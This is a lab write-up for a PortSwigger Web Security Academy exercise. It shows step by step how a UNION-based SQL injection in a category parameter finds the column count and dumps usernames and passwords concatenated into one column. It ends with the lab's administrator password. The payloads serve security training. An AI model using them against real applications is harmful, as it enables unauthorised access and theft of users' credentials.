---
description: https://portswigger.net/web-security/sql-injection/cheat-sheet
---

# SQL injection UNION attack, retrieving multiple values in a single column

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2Fa6cIUcHTDYKoYRyDohp9%2F1.png?alt=media&#x26;token=b991d6ef-bbb3-4da7-bef3-505f3ee8d76e" alt=""><figcaption></figcaption></figure>

Let's filter for `Accessories`.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FUjTIdZb4GTXTtp7UZfdR%2F2.png?alt=media&#x26;token=9019a88b-8ab7-4940-bbca-c6f74456e0d4" alt=""><figcaption></figcaption></figure>

Since we are proxying the traffic through Burp Suite, we can go to the `Proxy > HTTP History` tab to view this request.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FDScV5R2AzuB2he0kM2Tr%2F3.png?alt=media&#x26;token=dc0ac062-7bf3-4812-8a3d-4c588578c9be" alt=""><figcaption></figcaption></figure>

Let's forward this request to the `Repeater` for further modification.

Once in the `Repeater`, let's set the `category` parameter to the following:

```
' UNION SELECT NULL--
```

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FfCueE7FpkX1DhG35u4FP%2F4.png?alt=media&#x26;token=e9b9c9aa-5675-4b29-ad80-fddebb5c8810" alt=""><figcaption></figcaption></figure>

Since the application returns an error, we know that the number of columns in the current query is more than 1. Let's set the `category` parameter to the following:

```
' UNION SELECT NULL,NULL--
```

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2F2JgCxA4Shnj1eF8MtCcw%2F5.png?alt=media&#x26;token=51bc5593-83d4-432f-88d2-f7e81de40812" alt=""><figcaption></figcaption></figure>

Now that we know the current query has two columns, we can retrieve the usernames and password from the `username` and `password` columns respectively.

```
' UNION SELECT NULL,username||':'||password FROM users--
```

The `||` characters are used to concatenate strings together. So we are essentially dumping the username and password in the same column in the following format:

```
username:password
```

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FbmbGesA8jUUToxlL3zta%2F6.png?alt=media&#x26;token=91497f60-48d2-4168-9ace-ad0831801be1" alt=""><figcaption></figcaption></figure>

We can now login as the admin using the following credentials:

| Username      | Password             |
| ------------- | -------------------- |
| administrator | fq4yq6966ve3gff4iz65 |

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FeA9cHrKlJDkJJT3jjdtC%2F7.png?alt=media&#x26;token=50403e77-8a57-4f95-b14f-255515b72758" alt=""><figcaption></figcaption></figure>

We have solved the lab.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2F42Y0IogULe4PEmhE5qzT%2F8.png?alt=media&#x26;token=fee79e1f-7ef9-434d-b0f0-0f613aa6e226" alt=""><figcaption></figcaption></figure>
